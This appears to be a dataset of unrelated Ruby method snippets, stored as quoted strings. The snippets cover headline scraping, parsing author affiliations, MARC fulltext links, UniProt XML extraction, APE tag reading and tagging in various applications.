"def get_atags(docs)\n # # Get doc\n # docs = get_docs(5)\n # \n # #meta_tags\n # meta_tags = nil\n # \n # # New docs\n # docs_new = []\n \n # href a tags\n a_tags_href = []\n \n vendor_list = []\n \n # #debug\n # get_next_sibling = true\n \n # Modify\n docs.each do |doc|\n #--------------------\n # Modify 'a' tags\n #--------------------\n \n # Get 'a' tags\n a_tags = doc.css(\"div ul li a\")\n \n # href value\n a_tags.each do |a_tag|\n if a_tag['href'].start_with?(\"/hl?\")\n # Modify url\n a_tag['href'] = \"http://headlines.yahoo.co.jp\" + a_tag['href']\n \n # Add\n a_tags_href.push(a_tag)\n \n # #debug =================================\n # #debug\n \n # # REF http://nokogiri.rubyforge.org/nokogiri/Nokogiri/XML/Node.html\n # ns = a_tag.next_sibling\n# # \n # if get_next_sibling\n# # \n # # while (ns) do\n# # \n # # if ns.next_sibling != \"写真\"\n # write_log(\n # \"a_tag.next_sibling=\" + a_tag.next_sibling, \n # # \"a_tag.content=\" + a_tag.content, \n # # __FILE__,\n # __FILE__.split(\"/\")[-1],\n # __LINE__.to_s)\n # # break\n# # \n # # end\n# # \n # # ns = ns.next_sibling\n # # end\n# \n # get_next_sibling = false\n# \n # end#if get_next_sibling\n # while (ns) do\n# \n # if(ns['href'] && ns['href'].start_with?(\"http::\"))\n# \n # write_log(\n # \"ns.content=\" + ns.content, \n # # __FILE__,\n # __FILE__.split(\"/\")[-1],\n # __LINE__.to_s)\n# \n # break\n# \n # end\n# \n # ns = ns.next_sibling\n# \n # end\n# \n # get_next_sibling = false\n# \n # end\n# \n # # vendor = a_tag.next_sibling.next_sibling.next_sibling\n# \n # # if a_tag.next_sibling != nil\n # # vendor_list << vendor.text\n # # end\n# \n# \n # #/========================================\n \n end#if a_tag['href'].start_with?(\"/hl?\")\n end#a_tags.each do |a_tag|\n \n \n # # New doc\n # docs_new.push(a_tags_href)\n \n #----------------------\n # Vendor list\n # \n \n \n # a_tags.each do |a_tag|\n# \n # if a_tag['href'].start_with?(\"http://headlines.yahoo.co.jp/list\")\n# \n # vendor_list << a_tag.text\n# \n # # # Modify url\n # # a_tag['href'] = \"http://headlines.yahoo.co.jp\" + a_tag['href']\n # # \n # # # Add\n # # a_tags_href.push(a_tag)\n# \n # end#if a_tag['href'].start_with?(\"/hl?\")\n# \n # end#a_tags.each do |a_tag|\n #--------------------\n # Modify 'charset' value\n #--------------------\n \n end#docs.each do |doc|\n \n #debug\n write_log(\n \"vendor_list.size=\" + vendor_list.size.to_s +\n \"/\" + \"a_tags_href.size=\" + a_tags_href.size.to_s,\n # __FILE__,\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n \n \n # Return\n return a_tags_href\n \n end",
"def assign_search(aff_id)\n @data.affiliate = Affiliate.with_id(aff_id)\n assign_common\n end",
"def whole_affil (new_party_affiliation)\n if new_party_affiliation == \"d\"\n \"Democrat\"\n else new_party_affiliation == \"r\"\n \"Republican\"\n end\n end",
"def create_affi_obj(lines_list, auth_id)\n tkn_idx = 0\n auth_affi = Author_Affiliation.new()\n auth_affi.article_author_id = auth_id\n inst_found = \"\"\n #while tkn_idx < lines_list.count\n while tkn_idx < lines_list.count\n a_line = lines_list[tkn_idx].strip\n # lines_hash.keys.each do |line_key|\n # a_line = lines_hash[line_key].strip\n # first element is designated as the affilition\n if tkn_idx == 0\n auth_affi.name = a_line\n elsif $affi_countries.include?(a_line)\n auth_affi.country = a_line\n elsif $affi_institutions.include?(a_line)\n if auth_affi.name != nil\n # if the affiliation name is not an institution\n # add institution to name and make short name the institution\n # otherwise shot name is the same as name\n if $affi_institutions.include?(auth_affi.name) or \\\n $institution_synonyms.keys.include?(auth_affi.name.to_sym) then\n auth_affi.short_name = auth_affi.name\n auth_affi.add_01 = a_line\n else\n auth_affi.name = auth_affi.name + \", \" + a_line\n auth_affi.short_name = a_line\n end\n end\n elsif $institution_synonyms.keys.include?(a_line.to_sym) then\n if auth_affi.name != nil\n # if the affiliation name is not an institution\n # add institution to name and make short name the institution\n # otherwise shot name is the same as name\n if !$affi_institutions.include?(auth_affi.name) and \\\n !$institution_synonyms.keys.include?(auth_affi.name.to_sym) then\n auth_affi.name = auth_affi.name + \", \" + $institution_synonyms[a_line.to_sym]\n auth_affi.short_name = $institution_synonyms[a_line.to_sym]\n else\n auth_affi.short_name = $institution_synonyms[a_line.to_sym]\n end\n end\n elsif auth_affi.add_01 == nil\n auth_affi.add_01 = a_line\n elsif auth_affi.add_02 == nil\n auth_affi.add_02 = a_line\n elsif auth_affi.add_03 == nil\n auth_affi.add_03 = a_line\n elsif auth_affi.add_04 == nil\n auth_affi.add_04 = a_line\n elsif auth_affi.add_05 == nil\n auth_affi.add_05 = a_line\n elsif auth_affi.add_05 != nil # case more than 5 tokes in address\n auth_affi.add_05 += \", \" + a_line\n end\n tkn_idx += 1\n end\n\n # make sure there is a short name, if blank make it the same as name\n if auth_affi.short_name == nil\n auth_affi.short_name = auth_affi.name\n end\n\n # if country is missing get check all addres lines in object\n if auth_affi.country == nil\n got_it = false\n auth_affi.instance_variables.each do |instance_variable|\n # look for country name in address strings\n if instance_variable.to_s.include?(\"add_0\") then\n #print instance_variable\n value = auth_affi.instance_variable_get(instance_variable)\n ctry = get_country_any(value.to_s)\n if ctry != nil then\n auth_affi.country = ctry\n value = drop_country(value)\n auth_affi.instance_variable_set(instance_variable, value)\n break\n end\n end\n end\n # look for country in affiliation name\n if auth_affi.country.to_s == \"\" then\n ctry = get_country_any(auth_affi.name)\n auth_affi.country = ctry\n end\n # look for country in institution table\n if auth_affi.country.to_s == \"\" then\n inst_found = auth_affi.name\n # separate lookup for sysnonyms as they are not registered as institution\n if $affi_institutions.include?(auth_affi.name)\n inst_found = auth_affi.name\n ctry = get_value(\"Affiliations\", \"country\", \"institution\", inst_found.strip)\n auth_affi.country = ctry\n elsif $affi_institutions.include?(auth_affi.short_name)\n inst_found = auth_affi.short_name\n ctry = get_value(\"Affiliations\", \"country\", \"institution\", inst_found.strip)\n auth_affi.country = ctry\n elsif $institution_synonyms.keys.include?(auth_affi.name.to_sym)\n inst_found = $institution_synonyms[auth_affi.name.to_sym]\n ctry = get_value(\"Affiliations\", \"country\", \"institution\", inst_found.strip)\n auth_affi.country = ctry\n elsif $institution_synonyms.keys.include?(auth_affi.short_name.to_sym)\n inst_found = $institution_synonyms[auth_affi.short_name.to_sym]\n ctry = get_value(\"Affiliations\", \"country\", \"institution\", inst_found.strip)\n auth_affi.country = ctry\n end\n end\n end\n return auth_affi\nend",
"def parse_for_fulltext_links(marc, request)\n eight_fifty_sixes = []\n marc.find_all { |f| \"856\" === f.tag }.each do |link|\n eight_fifty_sixes << link\n end\n eight_fifty_sixes.each do |link|\n next if link.indicator2.match?(/[28]/)\n next unless link[\"u\"]\n next if link[\"u\"].match?(/(sfx\\.galib\\.uga\\.edu)|(findit\\.library\\.gatech\\.edu)/)\n label = (link[\"z\"] || \"Electronic Access\")\n request.add_service_response(\n service: self,\n key: label,\n value_string: link[\"u\"],\n service_type_value: \"fulltext\"\n )\n end\n end",
"def optionnalProtect(xml,release)\n i = 1\n xml.xpath(\"//Short_description\").each do |node|\n release[i].add_description(node.content) rescue nil\n i = i + 1\n end\n i = 1\n xml.xpath(\"//FeaturingArtists\").each do |node|\n release[i].add_featArtists(node.content) rescue nil\n i = i + 1\n end\n build_xml(release,xml)\nend",
"def flatten_affiliation(affiliation)\n if affiliation.include? \"staff\" and not (affiliation.include? \":\")\n return \"staff-academic\"\n end\n\n case affiliation\n when \"faculty:senate\"\n return \"faculty\"\n when \"faculty:federation\"\n return \"lecturer\"\n when \"staff:career\"\n return \"staff\"\n when \"staff:casual\"\n return \"staff\"\n when \"staff:contract\"\n return \"staff\"\n when \"staff:student\"\n return \"staff-student\"\n when \"student:graduate\"\n return \"student-graduate\"\n when \"visitor:student:graduate\"\n return \"student-graduate\"\n when \"faculty\"\n return \"faculty\"\n when \"student:undergraduate\", \"student:law\", \"visitor:consultant\", \"student:medicine\",\n \"visitor:student:concurrent\", \"visitor:lecturer\", \"visitor:faculty:research\", \"visitor:staff:temporary\",\n \"visitor:postdoc:research\", \"visitor:faculty:teaching\", \"visitor:student\", \"student:vetmed\", \"student\",\n \"visitor\"\n return nil\n else\n Rails.logger.warn \"AD Sync: Missing affiliation for translation to container name: #{affiliation}\"\n ActivityLog.err!(\"Could not translate unknown affiliation to AD group equivalent: #{affiliation}\", ['active_directory'])\n end\n\n return false\nend",
"def affiliation_matcher\n @affiliations_matcher ||= FuzzyStringMatcher.new( all_affiliations, :name )\n end",
"def extract_secondary_feature_names(doc, feature, primary_feature_name)\n transliterations = (doc/'/transliteration|/altspell') # only get the top level transliterations, not *their* transliterations\n # altspells are also treated as a FeatureName in their own right... treat\n # them just like a <transliteration> element\n transliterations.each do |transliteration|\n fn = FeatureName.new\n\n fn.feature_id = feature.id\n fn.name = extract_geogname(transliteration)\n fn.language_id = primary_feature_name.language_id # a transliteration has the same language as its parent \n fn.writing_system_id = determine_writing_system(transliteration)\n\n raise \"Secondary FeatureName not saved!\" unless fn.save\n\n set_timespan(transliteration, fn)\n\n extract_citations(transliteration, fn)\n\n # now relate this fn to its parent feature_name\n fnr = FeatureNameRelation.new\n fnr.child_node_id = fn.id\n fnr.parent_node_id = primary_feature_name.id\n\n\n # Is it orthographic, and if so what's the system?\n if(transliteration.attributes['type'] == 'orthographic')\n fnr.is_orthographic = true\n fnr.orthographic_system_id = OrthographicSystem.find_or_create_by_code(transliteration.attributes['scheme']).id\n end\n\n # Is it phonetic, and if so, what's the system?\n if(transliteration.attributes['type'] == 'phonetic')\n fnr.is_phonetic = true\n fnr.phonetic_system_id = PhoneticSystem.find_or_create_by_code(transliteration.attributes['scheme']).id\n end\n\n # Is it an altspelling, and if so, what's the system? \n if(transliteration.name == 'altspell')\n fnr.is_alt_spelling = true\n fnr.alt_spelling_system_id = AltSpellingSystem.find_or_create_by_code(transliteration.attributes['type']).id\n end\n\n # Is it a translation? \n # There are no translations in the current data set, so I'm not writing this in\n\n raise \"FeatureNameRelation not saved!\" unless fnr.save\n\n set_timespan(transliteration, fnr)\n extract_citations(transliteration, fnr)\n\n # Does this FeatureName contain a translation or transliteration?\n if(transliteration/'transliteration')\n secondary_fnames = extract_secondary_feature_names(transliteration, feature, fn) # Call this method recursively if any of these transliterations have their own transliterations\n end\n end\n end",
"def fuzzy_match_taxa\n start_at = 0\n stop_after = 200000000\n hol_count = 0\n for hol_taxon in HolTaxonDatum.order(:tnuid)\n if hol_count % 200 == 0\n print_string(\" #{hol_count.to_s} \")\n end\n hol_count = hol_count +1\n if (hol_count < start_at)\n next\n end\n if hol_count > start_at + stop_after\n exit\n end\n match_taxon hol_taxon\n\n end\n end",
"def affiliate_affiliations\n @affiliate_affiliations ||= Affiliation.find_by_uid(uid)\n end",
"def bubble_up_exact_matches(affil_list:, term:)\n matches_at_beginning = []\n matches_within = []\n other_items = []\n match_term = term.downcase\n affil_list.each do |affil_item|\n name = affil_item[:name].downcase\n if name.start_with?(match_term)\n matches_at_beginning << affil_item\n elsif name.include?(match_term)\n matches_within << affil_item\n else\n other_items << affil_item\n end\n end\n matches_at_beginning + matches_within + other_items\n end",
"def modify_affiliations(affs)\n affs = [affs].flatten\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('affiliations',{:node => node_id},\n affs.map do |s|\n x('affiliation',:jid => s.jid, :affiliation => s.affiliation)\n end\n )\n )\n )\n send_iq_stanza_fibered iq\n end",
"def update_anchors(bib, docxml, docid) # rubocop:disable Metrics/AbcSize\n docxml.xpath(\"//xmlns:eref[@citeas = '#{docid}']\").each do |e|\n #if @files[docid] then update_anchor_loc(bib, e, docid)\n if @files.get(docid) then update_anchor_loc(bib, e, docid)\n else\n e << \"<strong>** Unresolved reference to document #{docid} \" \\\n \"from eref</strong>\"\n end\n end\n end",
"def split_by_keywords(affi_string)\n # get the indexes of each element found\n # separate the string using the indexes\n kw_indexes = {} #kewrds array of indexes and lengths\n found_inst = found_country = nil\n\n found_inst = get_institution(affi_string)\n if found_inst != nil then\n kw_indexes[affi_string.index(found_inst)] = found_inst.length\n end\n\n if found_inst == nil then\n found_inst = get_institution_synonym(affi_string)\n if found_inst != nil then\n kw_indexes[affi_string.index(found_inst)] = found_inst.length\n end\n end\n\n found_country = get_country(affi_string)\n if found_country != nil then\n kw_indexes[affi_string.index(found_country)] = found_country.length\n end\n\n found_country_synonym = get_country_synonym(affi_string)\n if found_country_synonym != nil then\n cleared_affi_string = country_exclude(affi_string)\n kw_indexes[cleared_affi_string.index(found_country_synonym)] = found_country_synonym.length\n end\n\n found_faculty = get_faculty(affi_string)\n if found_faculty != nil then\n kw_indexes[affi_string.index(found_faculty)] = found_faculty.length\n end\n\n found_workgroup = get_workgroup(affi_string)\n if found_workgroup != nil then\n kw_indexes[affi_string.index(found_workgroup)] = found_workgroup.length\n end\n\n found_department = get_department(affi_string)\n print \"\\n**\"+found_department.to_s\n if found_department != nil then\n kw_indexes[affi_string.index(found_department)] = found_department.length\n end\n\n affiliation_array = []\n prev_split = 0\n if kw_indexes.count > 0 then\n temp_affi = affi_string\n # Order the indexes to break the affistring in its original order\n kw_indexes = kw_indexes.sort.to_h\n kw_indexes.keys.each do |kw_idx|\n # if the first index 0 make it the first element of the return array\n if affiliation_array == [] and kw_idx == 0 then\n affiliation_array = [temp_affi[kw_idx, kw_indexes[kw_idx]]]\n elsif affiliation_array == [] then\n affiliation_array = [temp_affi[..kw_idx-1]]\n affiliation_array.append(temp_affi[kw_idx, kw_indexes[kw_idx]])\n elsif prev_split < kw_idx then\n affiliation_array.append(temp_affi[prev_split..kw_idx-1].strip)\n affiliation_array.append(temp_affi[kw_idx,kw_indexes[kw_idx]])\n else\n affiliation_array.append(temp_affi[kw_idx,kw_indexes[kw_idx]])\n end\n prev_split = kw_idx + kw_indexes[kw_idx] + 1\n end\n end\n # strip and remove trailing commas in one place instead of with every\n # assignment\n indx = 0\n while indx < affiliation_array.count do\n affiliation_array[indx] = affiliation_array[indx].strip.chomp(\",\").chomp(\";\")\n indx +=1\n end\n # remove leftover nulls\n affiliation_array.delete(\"\")\n return affiliation_array\nend",
"def parse_agencies(elem)\n #funding agency, detect country if Unknown\n agencies = elem.following_siblings()[0].search(\"li\")\n @agencies = []\n agencies.each { |agency| \n @agencies << agency.inner_html \n } \n end",
"def tag\n @tag = params[:id]\n @personas = Persona.find_tagged_with(@tag,:order=>\"apepat,apemat,nombre\")\n @familias = Familia.find_tagged_with(@tag) \n @instituciones = Institucion.find_tagged_with(@tag,:order=>\"nombre\")\n @comentarios = Comentario.find_tagged_with(@tag,:order=>\"created_at desc\")\n end",
"def scan_ff_for_tag feature\n if feature[:gherkin][\"tags\"]\n feature[:gherkin][\"tags\"].each do |tag|\n if tag[\"name\"] == Observer.tag\n f = feature.clone\n @@tag_features << f\n @num = false\n puts \"\"\n end\n end\n end\n end",
"def affiliation\n []\n end",
"def proteinInfo2hash (xmlRes)\n\n#\t\txmlDoc = Document.new xmlRes\n#\t\tentries = xmlDoc.elements.collect('uniprot/entry') { |ent| ent }\n\t\txmlDoc = Nokogiri::XML(xmlRes)\n\t\tentries = xmlDoc.css('uniprot > entry')\n# just take the very first entry\n\t\tmain_entry = entries.first\n\n\t\trecommended_name = main_entry.css('protein > recommendedName > fullName').collect {\n\t\t\t|node| node.text\n\t\t}\n\t\tsynonyms = main_entry.css('protein > alternativeName > fullName').collect {\n\t\t\t|alt_name| alt_name.text\n\t\t}\n\t\tkeywords = main_entry.css('keyword').collect { |keyw| keyw.text }\n\n\t\torganism = main_entry.css('organism > name').collect { |org|\n\t\t\tif org['type'] == 'scientific' then org.text end\n\t\t}\n\t\tfunction = main_entry.css(\"comment[type='function']\").collect { |func|\n\t\t\tfunc.text\n\t\t}\n\t\tlocation = main_entry.css(\"comment[type='subcellular location'] > subcellularLocation > location\").collect { |loc|\n\t\t\tloc.text\n\t\t}\n\n\t\tmolWeight = nil\n\t\tseqLength = nil\n\t\tseq = nil\n\t\tmain_entry.css(\"/sequence\").collect { |theSeq|\n\t\t\tmolWeight = theSeq.attributes['mass'].value\n\t\t\tseqLength = theSeq.attributes['length'].value\n\t\t\tseq = theSeq.text\n\t\t}\n\n# the very first pdb reference is got. a comparison based on resolution can improve the choice\n\t\tpdbs = main_entry.css(\"dbReference[type='PDB']\").collect { |pdb|\n\t\t\tpdb\n\t\t}\n\t\tpdbNodeMalformed = false\n\t\tpdbs.each { |node|\n\t\t\tresolution = node.css(\"property[type='resolution']\")\n\t\t\tif resolution.nil? || resolution.length == 0 then\n\t\t\t\tpdbNodeMalformed = true\n\t\t\t\tbreak\n\t\t\tend\n\t\t}\n\t\tif pdbs.empty? == false && pdbNodeMalformed == false\n# sort by value resolution to get the element with lowes resolution value\n\t\t\tpdbs = pdbs.sort_by{ |node|\n\t\t\t\tnode.css(\"property[type='resolution']\").first['value']\n\t\t\t}\n\t\tend\n\n\n\t\tpdbResult = ''\n\t\tif pdbs.empty? == false\n\t\t\tpdbResult = 'http://www.pdb.org/pdb/explore/explore.do?structureId='\n#\t\t\tpdbResult += pdbs[0].css(\"property[type='resolution']\").first['value']\n\t\t\tpdbResult += pdbs[0].attributes['id'].value\n\t\tend\n\t\thash_result = Hash.new\n\t\thash_result[:target_name] = \"#{recommended_name[0]} (#{organism[0]})\"\n\t\thash_result[:target_type] = 'PROTEIN'\n\t\thash_result[:description] = recommended_name[0]\n\t\thash_result[:synonyms] = synonyms.join('; ')\n\t\thash_result[:organism] = organism[0]\n\t\thash_result[:keywords] = keywords.join('; ')\n\t\thash_result[:cellularLocations] = location.join('; ')\n\t\thash_result[:molecularWeight] = molWeight\n\t\thash_result[:numberOfResidues] = seqLength\n\t\thash_result[:sequence] = seq\n\t\thash_result[:specificFunction] = function.join('; ')\n\t\thash_result[:pdbIdPage] = pdbResult\n\t\thash_result[:theoreticalPi] = nil\n\n\t\thash_result\n\tend",
"def set_tag\n @tag = @affiliate.tags.find(params[:id])\n end",
"def url_for_finding_aid?(field)\n substring_present_in_subfield?(field, 'u', 'library.duke.edu/rubenstein/findingaids') ||\n substring_present_in_subfield?(field, 'u', 'scriptorium.lib.duke.edu/dynaweb/findaids') ||\n substring_present_in_subfield?(field, 'u', 'library.duke.edu/digitalcollections/rbmscl') ||\n substring_present_in_subfield?(field, 'y', 'collection guide') ||\n substring_present_in_subfield?(field, '3', 'collection guide') ||\n substring_present_in_subfield?(field, 'y', 'finding aid') ||\n substring_present_in_subfield?(field, '3', 'finding aid')\n end",
"def matching_device_tags\n @matching_device_tags ||= Tag.unclaimed.where('gml_uniquekey = ?', self.iphone_uniquekey)\n end",
"def complete_tags\n\n end",
"def find_fandoms\n return unless fandom.present?\n names = fandom.split(',').map(&:squish)\n self.tag_ids ||= []\n self.tag_ids += Tag.where(name: names).pluck(:id)\n self.fandom = nil\n end",
"def find\n loop do \n @mutex.lock\n begin\n deactivate_field\n self.infinite_list_passive = block_given?\n self.crc = true\n self.parity = true\n activate_field\n tag = detect\n deselect\n ensure\n @mutex.unlock\n end\n if block_given?\n resp = yield tag\n if resp == false\n return tag\n end\n else\n return tag\n end\n end\n ensure \n @mutex.lock\n deactivate_field\n self.infinite_list_passive = false\n deselect\n @mutex.unlock \n end",
"def get_institution(affi_string)\n found_inst = nil\n $affi_institutions.each do |institution|\n if affi_string.include?(institution) then\n if found_inst == nil then\n found_inst = institution\n elsif found_inst.length < institution.length then\n found_inst = institution\n end\n end\n end\n return found_inst\nend",
"def affiliations_for_actor(person_id:)\n publication_ids = Publication.where.not(published_at: nil).where(is_deleted: false).map {|publ| publ.id}\n people2publication_ids = People2publication.where('publication_id in (?)', publication_ids).where('person_id = (?)', person_id.to_i).map { |p| p.id}\n department_ids = Departments2people2publication.where('people2publication_id in (?)', people2publication_ids).order(updated_at: :desc).map {|d2p2p| d2p2p.department_id}\n departments = Department.where(id: department_ids)\n affiliations = departments.map {|d| {id: d.id, name: I18n.locale == :en ? d.name_en : d.name_sv}}\n return affiliations.sort_by {|a| a[:name]}\n end",
"def affiliation=(affil)\n affiliations.clear\n affiliations << affil\n end",
"def poll_extractions url=nil\n url ||= site.sample\n finders = all_finders\n begin\n pagetags = PageTags.new(url, @site, finders, true, false)\n correct_result = nil\n finders.each do |finder|\n pagetags.results_for(finder[:id]).each do |result|\n # pagetags.results_for(label).each do |result|\n # finder = result.finder\n puts \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n puts \"URL: #{url}\"\n label = finder[:label]\n finder.each { |key, value| puts \"\\t(#{key}: #{value})\" unless [:label, :count, :foundlings].include?(key) }\n # accepted = false\n if (foundstr = result.out.shift)\n unless column = correct_result && (foundstr == correct_result) && :yes_votes\n puts \"#{label}: #{foundstr}\"\n site_option = [\"Description\", \"Site Name\", \"Title\", \"Image\", \"Author Name\", \"Author Link\", \"Tags\"].include?(label) ? \" S(ave value to Site) \" : \"\"\n puts \"Good? [y](es) n(o) #{site_option} Q(uit)\"\n answer = gets.strip\n case answer[0]\n when 'Q'\n return nil\n when 'N', 'n'\n column = :no_votes\n if answer[0] == 'N'\n @site.reviewed = nil\n @site.save\n return false\n end\n when 'Y', 'y', nil\n column = :yes_votes\n # accepted = (answer[0] == 'Y')\n correct_result = foundstr\n # Include the finder on the site\n unless @site.finders.exists?(finds: finder[:label], selector: finder[:path], read_attrib: finder[:attribute])\n if existing = @site.finders.where(finds: finder[:label]).first\n existing.selector = finder[:path]\n existing.read_attrib = finder[:attribute]\n existing.save\n else\n @site.finders.create(finds: finder[:label], selector: finder[:path], read_attrib: finder[:attribute])\n @site.save\n end\n end\n # Saved the title finder: take a crack at the editing RegExp\n if label == \"Title\"\n done = false\n until done\n trimmed = trim_title foundstr\n puts \"Title In: #{foundstr}\"\n puts \"Title Out: #{trimmed}\"\n puts \"Good? (sS to save, qQ to quit, otherwise type new regexp for title) \"\n answer = gets.strip\n case answer\n when 's', 'S'\n site.save\n done = true\n when 'q', 'Q'\n done = true\n else\n @site.ttlcut = answer\n end\n end\n end\n when 'S'\n # Copy the value to the corresponding field on the site\n rest_of_line = answer[1..-1].strip\n field_val = rest_of_line.blank? ? foundstr : rest_of_line\n case label\n when \"Image\"\n @site.logo = field_val\n @site.save\n when \"Description\"\n @site.description = field_val\n @site.save\n when \"Site Name\", \"Title\"\n @site.name = field_val\n @site.save\n when \"Author Name\"\n TaggingServices.new(@site).tag_with field_val, User.super_id, type: \"Author\"\n @site.save\n when \"Author Link\"\n # Add a reference to the author, if any\n @site.tags(User.super_id, tagtype: \"Author\").each { |author|\n Reference.assert field_val, author, \"Home Page\"\n }\n when \"Tags\"\n ts = TaggingServices.new @site\n field_val.split(',').collect { |tagname|\n tagname = tagname.split(':').last.strip\n tagname if (tagname.length>0)\n }.compact.each { |tagname|\n ts.tag_with tagname, User.super_id\n }\n else\n puts \"There's no field on the site for #{label}\"\n end\n end\n end\n if column\n finder[column] = 0 unless finder[column]\n finder[column] = finder[column]+1\n end\n end\n end\n end\n return true\n rescue Exception => e\n puts \"Error: couldn't open page '#{url}' for analysis:\"\n puts e.to_s\n return false\n end\n end",
"def check_auth_2fa(fingerprint)\n fingerprint.each do |fp|\n # check the intersection of these\n if ( (fp[\"tags\"]||[]).map(&:upcase) & [\"IAM\",\"SSO\",\"MFA\",\"2FA\"] ).any?\n return true\n end\n end\n false\n end",
"def associate_to_dna_extraction!(dna_extraction_tag)\n # A DNA-tag will be passed in the Sample field for Nanodrop and Qubit\n # quantifications. The DNA-tag is composed of an existing Sample ID and\n # an either existing or non-existing DNA-order-number:\n #\n # \"#{sample.id}-#{dna_ordinal}\"\n #\n # The DNA ordinal number is the number of the DNA in the context of its\n # sample of origin. For instance, sample 10's first DNA Extraction is 10-1,\n # the next one will be 10-2, and so on.\n #\n # So, when receiving a tag like '10-1':\n #\n # - We look for a DnaExtraction with tag 10-1 and choose it if it exists.\n # A DnaExtraction with such tag will always be associated with Sample 10.\n # - If there isn't a DnaExtraction with that tag, we create a new\n # DnaExtraction, associate it with Sample 10 and assign it the tag.\n #\n # There is room for error if the user passes a tag like '10-2' when there\n # isn't still a Dna tagged like '10-1'. The problem is that the user will\n # always assign these tags to their tubes *before* loading the data to the\n # database, so the consistency with the tags and ordinal numbers is out\n # of our control and it's their responsibility.\n\n dna_extraction = DnaExtraction.find_or_initialize_by(tag: dna_extraction_tag)\n unless dna_extraction.persisted?\n dna_extraction.sample_id = dna_extraction_tag.split('-').first\n dna_extraction.save!\n end\n\n self.dna_extraction = dna_extraction\n end",
"def add_info_on_tag_ids\n desc_hash = Notion.where(locale: @lecture.locale || I18n.default_locale)\n .pluck(:title, :tag_id, :aliased_tag_id)\n .map { |x| [x.first.downcase, x.second || x.third] }\n .select { |x| x.first.in?(@content_descriptions.map(&:downcase)) }\n .to_h\n @content.each do |c|\n c['tag_id'] = desc_hash[c['description'].downcase]\n end\n end",
"def show\n @article = Article.find(params[:id])\n @articles = Article.left_joins(:votes).group(:id).order('COUNT(vote) DESC')\n tag_list = @article.tag_list\n relevant = Article.tagged_with(tag_list, :any => true,:wild => true)\n @relevant_tag = []\n\n relevant.each do |x|\n if x.id != @article.id\n @relevant_tag << x\n end\n end\n\n # impressionist(@article)\n end",
"def associate_authors\n publication = @publication\n # project = publication.project || current_user.person.projects.first\n association = {}\n publication.non_seek_authors.each do |author|\n matches = []\n #Get author by last name\n last_name_matches = Person.find_all_by_last_name(author.last_name)\n matches = last_name_matches\n #If no results, try searching by normalised name, taken from grouped_pagination.rb\n if matches.size < 1\n text = author.last_name\n #handle the characters that can't be handled through normalization\n %w[ØO].each do |s|\n text.gsub!(/[#{s[0..-2]}]/, s[-1..-1])\n end\n \n codepoints = text.mb_chars.normalize(:d).split(//u)\n ascii=codepoints.map(&:to_s).reject{|e| e.length > 1}.join\n \n last_name_matches = Person.find_all_by_last_name(ascii)\n matches = last_name_matches\n end\n \n #If more than one result, filter by project\n # if matches.size > 1\n # project_matches = matches.select{|p| p.projects.include?(project)}\n # if project_matches.size >= 1 #use this result unless it resulted in no matches\n # matches = project_matches\n # end\n # end \n \n #If more than one result, filter by first initial\n if matches.size > 1\n first_and_last_name_matches = matches.select{|p| p.first_name.at(0).upcase == author.first_name.at(0).upcase}\n if first_and_last_name_matches.size >= 1 #use this result unless it resulted in no matches\n matches = first_and_last_name_matches\n end\n end\n\n #Take the first match as the guess\n association[author.id] = matches.first\n end\n \n @author_associations = association\n end",
"def get_tag_information\n unless file_size >= id3.length + 64 \n @has_tag = false\n @tag_start = file_size - id3.length\n return\n end\n file.seek(-32-id3.length, IO::SEEK_END)\n tag_footer = file.read(32)\n unless tag_footer[0...12] == PREAMBLE \n @has_tag = false\n @tag_start = file_size - id3.length\n return\n end\n raise ApeTagError, \"Tag has bad footer flags\" unless tag_footer[21...24] == FOOTER_FLAGS && (tag_footer[20...21] == \"\\x00\" || tag_footer[20...21] == \"\\x01\")\n @tag_footer = tag_footer\n @tag_size, @tag_item_count = tag_footer[12...20].unpack('VV')\n @tag_size += 32\n raise ApeTagError, \"Tag size (#{tag_size}) smaller than minimum size\" if tag_size < 64 \n raise ApeTagError, \"Tag size (#{tag_size}) larger than possible\" if tag_size + id3.length > file_size\n raise ApeTagError, \"Tag size (#{tag_size}) is larger than #{MAX_SIZE}\" if tag_size > MAX_SIZE\n raise ApeTagError, \"Item count (#{tag_item_count}) is larger than #{MAX_ITEM_COUNT}\" if tag_item_count > MAX_ITEM_COUNT\n raise ApeTagError, \"Item count (#{tag_item_count}) is larger than possible\" if tag_item_count > (tag_size-64)/ApeItem::MIN_SIZE\n file.seek(-tag_size-id3.length, IO::SEEK_END)\n @tag_start=file.pos\n @tag_header=file.read(32)\n @tag_data=file.read(tag_size-64)\n raise ApeTagError, \"Missing header\" unless tag_header[0...12] == PREAMBLE && tag_header[21...24] == HEADER_FLAGS && (tag_header[20...21] == \"\\x00\" || tag_header[20...21] == \"\\x01\")\n raise ApeTagError, \"Header and footer size does not match\" unless tag_size == tag_header[12...16].unpack('V')[0] + 32\n raise ApeTagError, \"Header and footer item count does not match\" unless tag_item_count == tag_header[16...20].unpack('V')[0]\n @has_tag = true\n end",
"def taggings_from_atom(atom)\n atom.entries.each do |entry|\n begin\n strength = if category = entry.categories.detect {|c| c.term == self.name && c.scheme =~ %r{/#{Regexp.escape(self.user.login)}/tags/$}}\n category[CLASSIFIER_NAMESPACE, 'strength'].first.to_f\n else \n 0.0\n end\n\n if strength >= 0.9\n connection.execute \"INSERT IGNORE INTO taggings \" +\n \"(feed_item_id, tag_id, user_id, classifier_tagging, strength, created_on) \" +\n \"VALUES((select id from feed_items where uri = #{connection.quote(entry.id)}),\" + \n \"#{self.id}, #{self.user_id}, 1, #{strength}, UTC_TIMESTAMP()) \" +\n \"ON DUPLICATE KEY UPDATE strength = VALUES(strength);\"\n end\n rescue URI::InvalidURIError => urie\n logger.warn \"Invalid URI in Tag Assignment Document: #{entry.id}\"\n rescue ActiveRecord::StatementInvalid => arsi\n logger.warn \"Invalid taggings statement for #{entry.id}, probably the item doesn't exist.\"\n end\n end\n \n connection.execute(\"UPDATE tags SET last_classified_at = '#{Time.now.getutc.to_formatted_s(:db)}' where id = #{self.id}\")\n end",
